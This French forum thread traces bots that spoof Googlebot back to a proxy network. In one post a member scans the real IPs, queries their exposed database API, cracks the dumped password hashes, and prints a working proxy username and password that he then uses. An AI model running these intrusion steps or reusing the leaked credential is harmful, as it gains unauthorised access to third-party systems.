Auteur Sujet: Des petits malins usurpent le robot d'indexation de Google, Googlebot  (Lu 345 fois)

0 Membres et 4 Invités sur ce sujet

vivien

  • Administrateur
  • *
  • Messages: 52 806
    • Bluesky LaFibre.info
Des petits malins font des requêtes sur LaFibre.info usurpant le robot d'indexation de Google, Googlebot !

Vous pensez que les requêtes ci-dessous viennent de Google pour enrichir son moteur de recherche ?

Et non, c'est de l'usurpation. Les IP sources montrent clairement que ce n'est pas Google qui est derrière ces requêtes.


(Cliquer sur le tableau pour ouvrir un fichier PDF plus complet)

alain_p

  • Abonné Free fibre
  • *
  • Messages: 18 669
  • Delta S 10G-EPON sur Les Ulis (91)
Est-ce que cela pourrait être aussi des robots d'agents AI parcourant le web pour récupérer des données servant à entrainer les modèles d'IA ?
La question de savoir avec quelles données sont entrainés les modèles IA a peu de réponses précises... Il y a une plainte actuellement déposée par Le New-York Times contre Open AI pour pillage de ses articles...
D'ailleurs Google a lui-même Gemini.

On peut penser aussi que les robots IA absorbent plein de livres en PDF trouvés sur Internet, qui ne sont pas libres de droits...

vivien

  • Administrateur
  • *
  • Messages: 52 806
    • Bluesky LaFibre.info
J'ai des requêtes clairement identifiées comme étant pour l'IA dans le user-agent, ils ne se cachent pas (et je ne bloque pas).

J'ai des requêtes en masse qui proviennent d'une poignée de serveurs et là aussi, c'est peut-être de l'IA. Certains ne sont pas très évolués et vont charger à chaque fois les images de la page qui peuvent être pourtant identiques.

Les requêtes que j'ai mises dans mon PDF, c'est une grande variété de serveurs réseaux différents. Pour moi l'objectif, c'est de faire du déni de service. J'ai passé en revue une partie des AS de ces IP. Ce sont des AS connu pour faire beaucoup beaucoup de requêtes sur ce forum et qui sont pour la plupart bloquées soit de manière temporaire ou manière définitive (dans tous les cas, la première requête passe).

Certains de ces hébergeurs ont pleins de plages /24 (seulement 256 IPv4). Les IP avant et après sont à d'autres acteurs (c'est galère à bloquer, car il ne faut bloquer plus que le /24 pour éviter le surblocage et cela fait plein de règles).

Pour donner une idée du volume de requêtes, j'ai redémarré le serveur, il y a 48h. Depuis, il y a eu 10 millions de requêtes, soit 5 millions par jour (pas forcément avec des user-gagent de Google, il faut varier les plaisirs).

Les requêtes en question sont toutes en IPv4 et viennent hors de France. Beaucoup viennent d'Asie, mais on a aussi des acteurs UK et d'Europe de l'Est (quand je regarde le pays de l'AS qui n'est pas forcément le pays d'où sont émises les requêtes).

Ne pas hésiter à me signaler si il y a surblocage, mais maintenant avec l'expérience je fait attention. Terminé l'époque ou je bloquait l'intégralité d'un /8 qui envoyait beaucoup de DDOS.

acut3

  • Abonné Sosh fibre
  • *
  • Messages: 133
Je n'ai regardé que quelques IP, mais toutes celles que j'ai regardé font tourner un proxy HTTP sur un port qui varie suivant la machine. Elles font aussi toute tourner un serveur Corrosion en libre accès, toujours sur le port 30001. Corrosion est apparemment un système de clustering pour les bases de données sqlite.

Le serveur corrosion a une table "auth" qui semble définir les comptes d'accès au proxy (avec leur nom d'utilisateur et leur mot de passe), mais pour les IP que j'ai regardé, il n'y a pas de lignes (donc pas de comptes définis à priori).

Par exemple :

$ IP=155.254.34.75; curl -gs "http://$IP:30001/v1/queries" -X POST --json '"SELECT * FROM auth"' | jq
{
  "columns": [
    "proxy_user_id",
    "username",
    "password",
    "allocation_method",
    "max_concurrent_requests",
    "max_concurrent_requests_pag",
    "max_speed_kbs",
    "max_speed_kbs_pag",
    "max_rps",
    "max_rps_pag",
    "request_priority",
    "request_timeout",
    "request_idle_timeout",
    "request_connect_timeout",
    "default_country_codes",
    "dynamic_settings",
    "proxy_allocation_group_id",
    "sync_hash",
    "default_state",
    "default_city",
    "default_postalcode"
  ]
}
{
  "eoq": {
    "time": 4.07E-7
  }
}

Donc si tu as des IP plus récentes, il devrait être possible de trouver un serveur avec des accès définis.

Bref ce qui en ressort, c'est surtout ce que sont tous des proxies HTTP... C'est donc l'infrastructure, mais ceux qui scrap le site sont de l'autre côté.

acut3

  • Abonné Sosh fibre
  • *
  • Messages: 133
Héhé dans ta liste j'ai trouvé 2 IP (2 seulement, j'ai tout testé) qui ont effectivement des accès définis... Les mots de passes sont hashés (sha1 salés).

Sur chacune de ces 2 IPs, il y a 2970 utilisateurs définis, et ce sont apparement les mêmes utilisateurs (ça doit être la même base sqlite sur deux noeuds Corrosion différents j'imagine). La plupart ont un nom qui est fait de 8 caractères minuscules aléatoires (par exemple "bipxjwyb"), mais d'autres ont ces 8 caractères suivis de "residential" (e.g "ilgogpddresidential").

vivien

  • Administrateur
  • *
  • Messages: 52 806
    • Bluesky LaFibre.info
Donc si tu as des IP plus récentes, il devrait être possible de trouver un serveur avec des accès définis.

J'ai d'autres IP, mais pas plus récentes. Je ne suis pas sur que les IP changent.
Si tu regardes dans ces deux fichiers il y a de nombreux /24 ou toutes les IP sont utilisées pour une attaque (ce sont des cases de couleur rouge pour être facilement repérable). Je ne serais pas étonné que tu retrouves des choses en commun avec les IP que tu as analysées, le nom des hébergeurs sont les mêmes.

(cliquez sur les miniatures ci-dessous - les documents sont au format PDF)
   

Il y a aussi des IP de fournisseur d'accès à internet grand public impliqué en Asie ou en Amérique du Nord, mais avec un taux beaucoup plus faible (5 à 20 IP par /24). Probablement une application compromise ou un ordinateur infecté.

alain_p

  • Abonné Free fibre
  • *
  • Messages: 18 669
  • Delta S 10G-EPON sur Les Ulis (91)
Je n'ai regardé que quelques IP, mais toutes celles que j'ai regardé font tourner un proxy HTTP sur un port qui varie suivant la machine. Elles font aussi toute tourner un serveur Corrosion en libre accès, toujours sur le port 30001. Corrosion est apparemment un système de clustering pour les bases de données sqlite.

Le serveur corrosion a une table "auth" qui semble définir les comptes d'accès au proxy (avec leur nom d'utilisateur et leur mot de passe), mais pour les IP que j'ai regardé, il n'y a pas de lignes (donc pas de comptes définis à priori).

Par exemple :

$ IP=155.254.34.75; curl -gs "http://$IP:30001/v1/queries" -X POST --json '"SELECT * FROM auth"' | jq
{
  "columns": [
    "proxy_user_id",
    "username",
    "password",
    "allocation_method",
    "max_concurrent_requests",
    "max_concurrent_requests_pag",
    "max_speed_kbs",
    "max_speed_kbs_pag",
    "max_rps",
    "max_rps_pag",
    "request_priority",
    "request_timeout",
    "request_idle_timeout",
    "request_connect_timeout",
    "default_country_codes",
    "dynamic_settings",
    "proxy_allocation_group_id",
    "sync_hash",
    "default_state",
    "default_city",
    "default_postalcode"
  ]
}
{
  "eoq": {
    "time": 4.07E-7
  }
}

Donc si tu as des IP plus récentes, il devrait être possible de trouver un serveur avec des accès définis.

Bref ce qui en ressort, c'est surtout ce que sont tous des proxies HTTP... C'est donc l'infrastructure, mais ceux qui scrap le site sont de l'autre côté.

Intéressant, je ne connaissait pas personnellement ce proxy corrosion. Et merci pour la petite ligne de commande, j'ai vérifié sur quelques IP, effectivement, cela retourne ce que tu indiques.

Je suppose que tu as fait une liste des IP du tableau et une boucle sur ces IP pour récupérer les deux IP qui ont des accès définis.

J'ai trouvé ce petit site (d'origine japonaise apparemment ?) qui explique l'intérêt de configurer des crawlers pour utiliser des proxies pour cacher la véritable IP du crawler et éviter de se faire bloquer. Mais si on bloque l'IP du proxy, cela revient au même ? Sauf que le serveur peut probablement changer de proxy...

alain_p

  • Abonné Free fibre
  • *
  • Messages: 18 669
  • Delta S 10G-EPON sur Les Ulis (91)
Voilà un site, chinois semble-t-il, qui propose son réseau de proxies en test gratuit !


How to use a crawler proxy?
...
The second method involves using proxy IP addresses and other means to bypass anti-crawling mechanisms and continue high-frequency crawling. However, this requires a large number of stable proxy IP addresses.

Enterprise-grade data collection dedicated proxy pool, free testing:...



https://www.zhihu.com/en/answer/2748010067

Je pense donc qu'un test pour ce cas particulier serait de tester si ces IP ont le port 30001 ouvert, et alors de les bloquer. Elles font probablement partie d'un  pool de proxies pour crawlers.

acut3

  • Abonné Sosh fibre
  • *
  • Messages: 133
Intéressant, je ne connaissait pas personnellement ce proxy corrosion.
Corrosion n'est pas un proxy, c'est juste un système qui permet de répliquer et synchroniser une base SQLite sur plusieurs nœuds d'un cluster. Il y a un proxy qui tourne à côté, qui vraisemblablement stocke sa configuration dans cette base SQLite, que Corrosion synchronise sur tous les noeuds.

Je vais expliquer en gros comment je suis arrivé à ces conclusions, car il y a 2-3 trucs intéressant que d'autres sauront peut-être interpréter.

J'ai commencé par prendre quelques IPs (les 2-3 dernières du fichier de Vivien) et faire un SYN scan classique :
sudo nmap -T4 -p- 64.137.37.17
Sur chacune on voit seulement 2 ports open : 30001, et un autre qui varie suivant les machines.

Sur ce port variable, on a clairement un proxy, qui demande une authentification :
$ curl -gsi 64.137.37.17:6607
HTTP/1.1 407 Proxy Authentication Required
Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization."
Proxy-Connection: close
Date: Sat, 06 Jun 2026 20:32:02 GMT
Content-Length: 121
Content-Type: text/plain; charset=utf-8
Connection: close

Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Sur le port 30001, on a un serveur HTTP :
$ curl -gsi 64.137.37.17:30001
HTTP/1.1 404 Not Found
content-length: 0
date: Sat, 06 Jun 2026 20:33:08 GMT

En fuzzant le port 30001 avec feroxbuster et la wordlist apiroutes d'Assetnotes:
feroxbuster -n -w assetnote-wordlists/data/automated/httparchive_apiroutes_2025_10_27.txt -u http://64.137.37.17:30001
On trouve deux choses intéressantes :
  • /v1/health qui retourne quelques stats
  • /v1/subscriptions/pricing, /v1/subscriptions/plans et quelques autres qui retournent tous une erreur "400 Bad Request"
On se rend compte que "/v1/subscriptions/*" attend en fait en dernier élément un UUID, et l'erreur quand l'UUID est mal formé est assez spécifique :
$ curl -gsi http://64.137.37.17:30001/v1/subscriptions/1-2
HTTP/1.1 400 Bad Request
content-type: text/plain; charset=utf-8
content-length: 110
date: Sat, 06 Jun 2026 20:49:15 GMT

Invalid URL: Cannot parse `id` with value `1-2`: UUID parsing failed: invalid group count: expected 5, found 2

En faisant une recherche sur ce message d'erreur, on voit qu'il correspond exactement à celui d'Axum, un framework web en Rust très connu.

En fuzzant à nouveau sous /v1, cette fois avec ffuf (qui a par rapport à feroxbuster l'avantage de pouvoir fuzzer n'importe où dans la requête) et de simples mots:
ffuf -w assetnote-wordlists/data/manual/raft-large-words-lowercase.txt -u 'http://64.137.37.17:30001/v1/FUZZ/xxx' -fc 404 -mc all
On trouve "/v1/updates" en plus de "/v1/subscriptions". En cherchant ces deux termes, on tombe sur Corrosion, un système de clustering pour la base de donnée SQLite. Il est écrit en Rust et utilise bien Axum.

A partir de là, on a la doc pour explorer l'API. On peut notamment récupérer la liste des tables dans la base SQLite :
$ curl -gs http://64.137.37.17:30001/v1/queries -X POST --json '"SELECT name FROM sqlite_schema WHERE type = '\''table'\'' AND name NOT LIKE '\''sqlite_%'\''"' | jq -r '.row[1][0]'
null
crsql_tracked_peers
crsql_db_versions
crsql_master
crsql_site_id
__corro_state
__corro_seq_bookkeeping
__corro_buffered_changes
__corro_members
__corro_schema
__corro_bookkeeping_gaps
auth
auth__crsql_clock
auth__crsql_pks
null

Toutes ces tables sauf "auth" sont en fait utilisée par Corrosion pour son fonctionnement interne.

La table "auth" contient la configuration du proxy comme montré plus haut. En fuzzant avec les IP du tableau de Vivien, on peut chercher celles qui retournent des lignes, et qui donc ont des utilisateurs définis pour le proxy :
cat lafibre_ips.txt | ffuf -w - -u 'http://FUZZ:30001/v1/queries' -X POST -H 'Content-Type: application/json' -d '"SELECT * FROM auth"' -mr '"row"'
Et on trouve 2 IPs : 82.24.249.37 et 82.21.249.30.

A partir de là on peut récupérer les hashs de tous les utilisateurs, et essayer de les casser avec hashcat (ils sont au format "Django") :
hashcat -m 124 -a 0 82.24.249.30_hashes /usr/share/dict/rockyou.txt
On en trouve 4 qui sont dans rockyou.txt, et on peut vérifier que le premier par exemple est bien accepté par le proxy :
curl -gsi -x http://82.24.249.30:5867 --proxy-basic --proxy-user hhhomerj:simpson00 http://example.com
Dans les trucs étonnant, il y a par exemple la table __corro_members, qui contient l'adresse des autres membres du cluster. Il y en a 599, et on peut voir qu'elles sont toutes en 10.x.x.x:3333 :
$ curl -gs http://82.24.249.30:30001/v1/queries -X POST --json '"SELECT * FROM __corro_members"' | jq -r '.row[1][1]' | grep -v '^null$'
10.9.15.139:3333
10.9.5.16:3333
10.9.16.49:3333
...

Ce qui voudrait dire :
  • Soit que que tous les proxies sont sur le même réseau privé
  • Soit que chaque proxy fait aussi tourner un VPN pour communiquer avec les autres
  • Soit ?

acut3

  • Abonné Sosh fibre
  • *
  • Messages: 133
Des petits malins usurpent le robot d'indexation de Google, Googlebot
« Réponse #9 le: Aujourd'hui à 00:10:41 »
Hmm quand on utilise le proxy 82.24.249.30, on sort avec une IP différente à chaque fois, localisée n'importe où dans le monde (Maroc, Iraq, Espagne, Pérou...), et ces IP n'ont rien sur le port 30001... On dirait donc qu'il y a au moins une couche en plus.